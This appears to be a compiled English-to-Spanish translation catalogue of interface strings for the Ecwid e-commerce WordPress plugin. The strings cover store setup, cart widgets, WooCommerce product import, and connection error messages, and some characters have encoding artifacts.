Products�Recommendations for Your Online Store�Rectangle�Refresh categories list�Register at %s�Report a problem with the store�Reports�Right�S�SKU�Sales�Sales channels�Save�Save and connect your %s store to the site�Save changes�Search�Search and Filters�Search products�Search the Knowledge Base�See more�Select All�Select category�Selected Product�Selected category�Sell on Facebook�Send Message�Send a message to our support team�Send message failed�Set Up Your Store�Set manually�Set up your store�Settings�Setup�Shipping & Pickup�Shop�Shopping Cart�Shopping Cart (deprecated)�Shopping Cart Floating (deprecated)�Shopping Cart Icon�Shopping Cart Mini (deprecated)�Shopping Cart Widget�Show�Show additional image on hover�Show categories�Show customers that they can use a search and filters to find desired products faster.�Show description under the image�Show minicart�Show on all pages�Show on hover�Show on store pages�Show price inside the "Buy now" button�Show price inside the «Buy now» button�Show product card border�Show product thumbnails�Show search�Show when empty�Show your store on the home page�Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again.�Small icon�Small icon and item count�Some of the items could not be imported.�Sorry we're having technical difficulties.�Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: "The Wordpress function wp_remote_post() failed to connect a remote server because of some error: "%s". Seems like HTTP POST requests are disabled on this server". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>.�Square 1:1�Start Import�Status�Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store.�Still have questions about Ecwid? Let us know!�Store�Store Categories�Store Categories Menu�Store Category Page�Store Front Page�Store Home Page�Store ID�Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the "Dashboard" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration.�Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>.�Store Link Title�Store Navigation�Store Page�Store Page Link�Store Root Categories�Store appearance�Store elements�Store management�Store page content�Store page on your site�Store root category�Store with Categories Menu�Storefront�Subject�Submit & Deactivate�Switch to draft�Synchronize products�Table�Table view�Take a few simple steps to complete store setup�Take advantage of powerful apps and extensions designed to enhance your store.�Text�Text color�Thank you for choosing %s to build your online store�The block is hidden because you don't have categories in your store. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Add categories.</a>�The category that is shown by default on the Store Front Page�The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps.�The plugin doesn't support the feature I want�The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href="%s" target="_blank">adjust the cart icon appearance</a>.�The store is not visible on your site�The store top-level categories are automatically added to this drop-down menu�Themes for Ecwid�This import will copy your WooCommerce products and categories to your %s store.�This is a demo store. Create your store to see your store products here.�This will change the label of the module in the builder for easy identification.�Title�Title on image�Title only�Title or SKU�Title under image�Title:�To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings.�To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>.�To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>�To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the "Add product" dialog.�To create sitemap for your Wordpress site we suggest using <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> or <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target="_blank" href="https://www.ecwid.com/pricing">paid Ecwid users</a>.�To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission.�To enable this feature, the plugin needs a permission to read your store product information.�To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">How to use it.</a>�To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>�To manage your store, go to <a %s>the Store Dashboard page</a>�To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission.�To show your storefront instead of the demo store, connect your existing %s account or create a new one.�To start selling, add a page to your site where the storefront will display.�Top left�Top right�Try another search.�Type in your message here�URL Slug�Update�Update your catalog�Upgrade to get this feature�Vertical indent�Vertical thumbnails�Very dark gray�Very light gray�View Store Page�View demo store page�View store page�Visit storefront�Vivid cyan blue�Vivid green cyan�Vivid red�Want to connect another %s store?�Warning: some of your online store features are disabled. Please contact your hosting provider to resolve.�We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?�We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you.�We're synchronizing your products. This may take a few minutes. Please do not reload the page.�Website�What feature do you need?�What was wrong?�What's next?�While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site.�Wholesale prices�You can add product search box, cart widget and more on the <a href="%s">"Appearance / Widgets page"</a> here in your site admin. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">More details.</a>�You can add the entire storefront, categories, products, or "Buy now" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block.�You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site.�You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">More details.</a>�You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel.�You can display your store on the site main page. Adjust the "Reading" settings of your site as described in our <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">Help Center.</a>�You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href="%1$s">Appearance → Customize → %2$s</a>†menu to enable it.�You can enable filters in the store settings: (“<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Settings → Product Filters</a>â€).�You can send a new request here.�You have not viewed any product yet. Open store.�You will be able to sign up through your existing Google, Facebook or PayPal profiles as well.�Your %s store has �Your %s store is connected<br /> to your WordPress website�Your %s store is now connected<br /> to your WordPress website�Your Storefront�Your WooCommerce store has �Your email has been sent�Your product�Your store Control Panel. Right here in WordPress.�Your store has been created. Preparing your store dashboard ...�Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar.�Your store is almost ready!�Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display.�Your store page�Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders.�Your store page is published. Customers can browse your store at �Your store will be shown here�Your store will be shown here!�Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data.�[%s] WordPress plugin deactivation feedback (store ID: %s)�customize appearance�gutenberg-product-blockContent�gutenberg-store-block-stubStore�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�or <a %s>Browse the Help Center�product-browser-attributesProduct SKU�product-browser-attributesProduct price�select product�selected product�vc-tabOnline store�«Buy now» button�PO-Revision-Date: 2020-10-12 12:46 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 2.4.1 Language: es Project-Id-Version: temporary-strings X-Crowdin-Project: temporary-strings X-Crowdin-Project-ID: 295314 X-Crowdin-Language: es-ES X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po X-Crowdin-File-ID: 988 Language-Team: Spanish Last-Translator: � Elegir otro producto� ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve.�Etiqueta de productos «En existencia»�%s�Blog de %s�Carrito de compras de %s�Tienda de %s�Página de la tienda de %s�El complemento %s no funciona bien con mi tema «%s»�%s producto�%s productos�%s productos y %s categorías�%s productos y categorías�Configuraciones del carrito de compras de %s�%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web.�%s — Configuración avanzada�(podrá confirmar los cambios antes de la importación definitiva)�2 columnas, imagen a la izquierda�2 columnas, imagen a la derecha�3 columnas, imagen a la izquierda�3 columnas, imagen a la derecha�<a %s>Tienda en línea con tecnología de %s</a>�<a %s>Volver a conectar</a>�<a href="admin.php?page=�<b>%s</b> categorías�Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos».�Acción requerida: conecte su cuenta de %s�Añadir producto�Añadir tienda�Añadir la página de la tienda al menú�Añadir una página de categoría�Añadir página de productos�Añadir una página de búsqueda y filtros�Añadir una página de tienda�Añadir una tienda en línea a su sitio web�Añadir borde�Añadir carrito y página de pago�Añadir categorías�Añadir la página de la tienda al menú del sitio web�Añadir escaparate virtual (listado de productos)�Añadir al menú�Añada su tienda de %s al sitio web y comience a vender en minutos.�Añada su tienda a otras páginas del sitio web�Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href="%s" target="_blank">Configuración de WordPress > Lectura</a>.�Páginas adicionales de la tienda�Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>.�Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito.�Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito.�Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web.�Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda.�Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda.�Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio.�Etiqueta de administrador�Avanzado�Configuraciones avanzadas�Después de la importación, su tienda de %s tendrá �Todos los canales de venta�Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda.�Apariencia�Aplicaciones�Cantidad disponible en existencia�Regresar a la configuración de la tienda�Color del fondo�Bolsa�Cesta�Antes de que se vaya�Borde�Borde:�Abajo a la izquierda�Abajo a la derecha�Migas de pan�Explorar todos los productos.�Buscar por categoría�Importar en masa productos y categorías a su tienda de %s�Color del botón�Comprar ahora�Botón «Comprar ahora»�Botones de «Comprar ahora»�Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>.�Clase CSS�ID de CSS�¿Podría compartir el nombre del complemento que ha elegido?�¿Podría compartir su opinión? ¿Qué fue lo que pasó?�Cancelar�Carrito�Carrito y pago�Icono del carrito de compras�Icono del carrito:�Catálogo�Categorías�Categoría�Apariencia de la lista de categorías�Diseño de la ficha de categoría�Categoría mostrada por defecto�Relación de aspecto de la miniatura de la categoría�Tamaño de la miniatura de la categoría�Centrado�Centrar la alineación en una página�Cambiar�Cambiar el contenido de la tienda�Elegir producto�Elegir producto�Elija las propiedades del producto para mostrarlas en el «widget»�Elegir la página principal de la tienda�Elija los «widgets» a mostrar�Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos�Configuración de colores�Completar configuración�Complete la configuración y comience a vender�Configuración�¡Enhorabuena!�Conectar�Conecte su tienda�Conecte su tienda de %s�Conecte su tienda�Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo.�Ponerse en contacto con la asistencia�Póngase en contacto con nosotros�Contenido�Copia de productos y categorías.�Crear página del carrito�Crear página de categorías�Crear página de productos�Crear página de búsqueda�Crear tienda�Crear la página de la tienda�Cree una página de aterrizaje con uno de sus productos.�Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito.�Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web.�Crear una nueva cuenta�Crear tienda�Página actual�«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>�Inicio de sesión único del cliente�Clientes�Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes.�Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago.�Personalizar el diseño�Personalizar la apariencia de la tienda�Personalizar la dirección de la página de la tienda�Personalizar «widget»�Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca.�Gris cian azulado�Panel�Categoría predeterminada�ID de categoría predeterminada�ID del producto predeterminado�Modo de vista predeterminado en las páginas de productos�Modo de vista predeterminado en los resultados de búsqueda�Productos eliminados sincronizados: %1$s de %2$s�Tienda de demostración�Tienda de demostración�Diseño�Diseño y contenido�Detectar automáticamente�Desconectar tienda�Mostrar un botón de compra�Mostrar migas de pan�Mostrar icono del carrito�Mostrar el menú de categorías�Mostrar la barra de navegación de las categorías�Mostrar la página de categorías�Mostrar el menú del pie de página�Mostrar la página de productos con la descripción y un botón de compra�Mostrar el producto con un botón de compra�Mostrar el cuadro de búsqueda�Mostrar página de búsqueda con los filtros a un lado�Mostrar enlace y resumen de la bolsa de compras�Mostrar el carrito de compras�Mostrar el carrito de compras y la página de pago�Mostrar el enlace de inicio de sesión�Mostrar «ordenar por enlace»�Muestre el icono del carrito de compras en las páginas del sitio web�Producto mostrado�Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web.�Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda.�Muestra una lista de productos aleatorios.�Muestra un producto aleatorio de su tienda para atraer la atención del cliente.�Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda.�Muestra el escaparate virtual: listado de productos y pago�Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas.�No mostrar�¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid.�¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress.�Hecho�Descargar <a href="%s">registro de importación</a>�Descargar archivo de registro�Borrador�Por ejemplo, cómo establecer el envío�Distintivo de Ecwid�Comercio electrónico Ecwid�Carrito de compras del comercio electrónico de Ecwid�Elemento del menú de Ecwid�Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid�«Widget» de comercio electrónico de Ecwid�Solución de comercio electrónico de Ecwid�Carrito de compras gratuito de Ecwid�Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">Más detalles.</a>�Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos.�Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href="%s">temas de TemplateMonster</a>.�Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">Más detalles.</a>�Carrito de compras de Ecwid�«Widget» de carrito de compras de Ecwid�Editar�Editar apariencia�Editar categoría�Editar producto�Editar tienda�Editar «slug» de la dirección URL�Editar página�Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web.�Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio.�Introduzca el ID de su tienda�Introduzca el ID de su tienda aquí:�Extensiones para su tienda�Destacar una categoría de la tienda específica en una página separada de su sitio web.�Destaque sus productos en la barra lateral�Filtros�Posición del panel de filtros�Encuentre el ID de su tienda�Primera página�Preguntas frecuentes�Descargue la aplicación móvil de %s�Ir a «Páginas»�Ir a sus productos de %s�¡Saludos!�¡Enhorabuena! Su complemento de %s ya está activo.�Cuadrícula�Vista de cuadrícula�Ayuda�Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales.�Ayude a los clientes a encontrar su tienda en el sitio web.�Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos.�Aquí puede crear el contenido que se utilizará dentro del módulo.�Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes.�Ocultar�Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas.�Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web.�Sangría horizontal�Miniaturas horizontales�¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?�¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?�¿Cómo podemos ayudarle?�¿Cómo puedo añadir categorías de tiendas al menú del sitio web?�¿Cómo pongo mis productos en el mapa del sitio?�¿Cuánto cuesta Ecwid?�¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?�¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?�¿Cómo crear una tienda en Facebook con Ecwid?�Ya tengo una cuenta, iniciar sesión�No pude encontrar un tema de WordPress adecuado para %s�Encontré un mejor complemento�Tengo un problema con el uso de este complemento�Tengo un problema con mi tienda de %s�Utilizo este tema de WordPress: %s�Icono�Icono y total de artículos�Icono, etiqueta y total de artículos�Icono, etiqueta, total de artículos y subtotal�Icono, etiqueta, total de artículos, subtotal y enlace�Si tiene un momento, háganos saber por qué está desactivando:�Imagen y título al pasar el ratón por encima�Canal de imagen�Diseño de la galería de imágenes�Solo imagen�Importar�Importe sus productos de Woocommerce a %s�Importación completada�Importación completada. <a href="%s">Ejecútela de nuevo.</a>�La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes.�La importación está en progreso�Importar mis productos de WooCommerce�Importar el catálogo de productos de WooCommerce�Importar el catálogo de productos de otras fuentes�Importe los productos a su tienda de %s�Resumen de la importación�Importe su catálogo de WooCommerce a %s�Importe sus productos de WooCommerce a %s�Importe sus productos de Woocommerce a %s�<b>%s</b> productos importados�Importando %s de %s artículos�Insertar�Insertar en la página�Sitio web instantáneo�Integración con la búsqueda en su sitio web�¿Es posible mostrar mi tienda en la página de inicio del sitio web?�¿Existe algún tema de WordPress para Ecwid?�Es una desactivación temporal. No preguntarme de nuevo.�Solo el total de artículos�Justificado�Base de conocimiento�G�Etiqueta y y total de artículos�Horizontal 3:2�Horizontal 4:3�Última página�Última actualización�Últimos productos�Diseño�Diseño:�Más información�Izquierda�Cian verde claro�Color del enlace�Producto vinculado�Lista�Vista de lista�Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL.�Ãmbar vívido y brillante�Naranja vívido y brillante�M�Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente.�Gestionar la barra lateral�Gestione la tienda desde iPhone, iPad o Android�Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página.�Gestionar la tienda�Gestionar escaparate virtual�Mercadotecnia�Móvil�Mi cuenta�Mi perfil�Mis ventas�Nombre�Navegación�¿Necesita ayuda para importar sus productos de WooCommerce a %s?�Nunca mostrar este mensaje otra vez�Página siguiente�Página siguiente�No, gracias�Sin borde�No se ha sincronizado todavía�Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen�No se ha encontrado nada en relación con <span class="empty-page__term">«{{ data.term }}»</span>�Número de categorías por fila�Número de productos por página�Número de productos para mostrar�A la izquierda�A la derecha�Tienda en línea�Aplicaciones de la tienda en línea�Tienda en línea�Abrir el panel de control�Abrir el panel de la tienda�Opciones�Pedidos�Otro�Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target="_blank" href="%s">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales.�Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">nuestro equipo de atención al cliente</a>.�Ya existe una página con ese nombre.�Azul cian pálido�Rosa pálido�Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>�Pago�Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes.�Elegir una categoría�Elegir un producto�Imagen�Píldora�Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target="_blank">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid.�Suscríbase a un plan de pago para obtener esta función.�Complementos para Ecwid�Vertical 2:3�Vertical 3:4�Posición�Vista previa�Página anterior�Precio�Color del precio�Producto�Ficha de producto ampliada�Ficha de producto reducida�Apariencia de la lista de productos�Apariencia de la página del producto�REF del producto�Búsqueda de productos�Cuadro de búsqueda de productos�Búsqueda de productos y filtros�El texto de la ficha del producto se alinea�El catálogo de productos se mostrará automáticamente�Diseño de la página de productos�Precio del producto�Cantidad de productos�Contenido de la barra lateral de productos�Relación de aspecto de la miniatura del producto�Tamaño de la miniatura del producto�Título del producto�Productos�Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas.�Productos eliminados sincronizados: %1$s de %2$s�Promocione su tienda�Otorgar acceso.�Proporcionado por <a %s>%s</a>�Publicar�Publicar la página de la tienda�Publique la página para poder utilizar esta opción�Publicada�Cantidad�¿Tiene alguna pregunta?�Producto aleatorio�Productos aleatorios�Tasa de %s en WordPress.org�Vuélvase a conectar para activar el panel de control�Productos vistos recientemente�Recomendaciones para su tienda en línea�Rectángulo�Actualizar la lista de categorías�Registrarse en %s�Informar un problema con la tienda�Informes�Derecha�P�REF�Ventas�Canales de venta�Guardar�Guarde y conecte su tienda de %s al sitio web�Guardar cambios�Buscar�Búsqueda y filtros�Buscar productos�Buscar en la base de conocimientos�Ver más�Seleccionar todo�Seleccionar categoría�Producto seleccionado�Categoría seleccionada�Vender en Facebook�Enviar mensaje�Envíe un mensaje a nuestro equipo de asistencia�Ocurrió un error al enviar el mensaje�Configure su tienda�Configurar manualmente�Configure su tienda�Configuraciones�Configuración�Envío y recogida�Tienda�Carrito de compras�Carrito de compras (descontinuado)�Carrito de compras flotante (descontinuado)�Icono del carrito de compras�Carrito de compras en miniatura (descontinuado)�«Widget» del carrito de compras�Mostrar�Mostrar imagen adicional al pasar el ratón�Mostrar categorías�Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida.�Mostrar descripción debajo de la imagen�Mostrar minicarrito�Mostrar en todas las páginas�Mostrar al pasar el ratón�Mostrar en las páginas de la tienda�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el borde de la ficha del producto�Mostrar miniaturas de los productos�Mostrar búsqueda�Mostrar cuando esté vacío�Muestre su tienda en la página de inicio�El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente.�Icono pequeño�Icono pequeño y total de artículos�Algunos de los artículos no se pudieron importar.�Le pido disculpas por las dificultades técnicas que estamos experimentando.�Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>.�Cuadrado 1:1�Iniciar la importación�Estado�Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda.�¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!�Tienda�Categorías de la tienda�Menú de categorías de la tienda�Página de categorías de la tienda�Página del escaparate virtual�Página de inicio de la tienda�ID de la tienda�El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro.�El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>.�Título del enlace de la tienda�Navegación en la tienda�Página de la tienda�Enlace a la página de la tienda�Categorías raíz de la tienda�Apariencia de la tienda�Elementos de la tienda�Gestión de la tienda�Contenido de la página de la tienda�Página de la tienda en su sitio web�Categoría raíz de la tienda�Tienda con menú de categorías�Escaparate virtual�Asunto�Enviar y desactivar�Cambiar al borrador�Sincronizar productos�Tabla�Vista de tabla�Siga unos sencillos pasos para completar la configuración de la tienda�Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda.�Texto�Color del texto�Gracias por elegir %s para construir su tienda en línea�El bloque está oculto porque no tiene categorías en su tienda. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Añadir categorías.</a>�La categoría que se muestra de forma predeterminada en la página del escaparate virtual�El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos.�El complemento no es compatible con la función que quiero�El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href="%s" target="_blank">ajustar la apariencia del icono del carrito</a>.�La tienda no es visible en su sitio web�Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable�Temas para Ecwid�Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s.�Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí.�Esto cambiará la etiqueta del módulo en el creador para una fácil identificación.�Título�Título en la imagen�Solo título�Título o REF�Título debajo de la imagen�Título:�Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración.�Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis 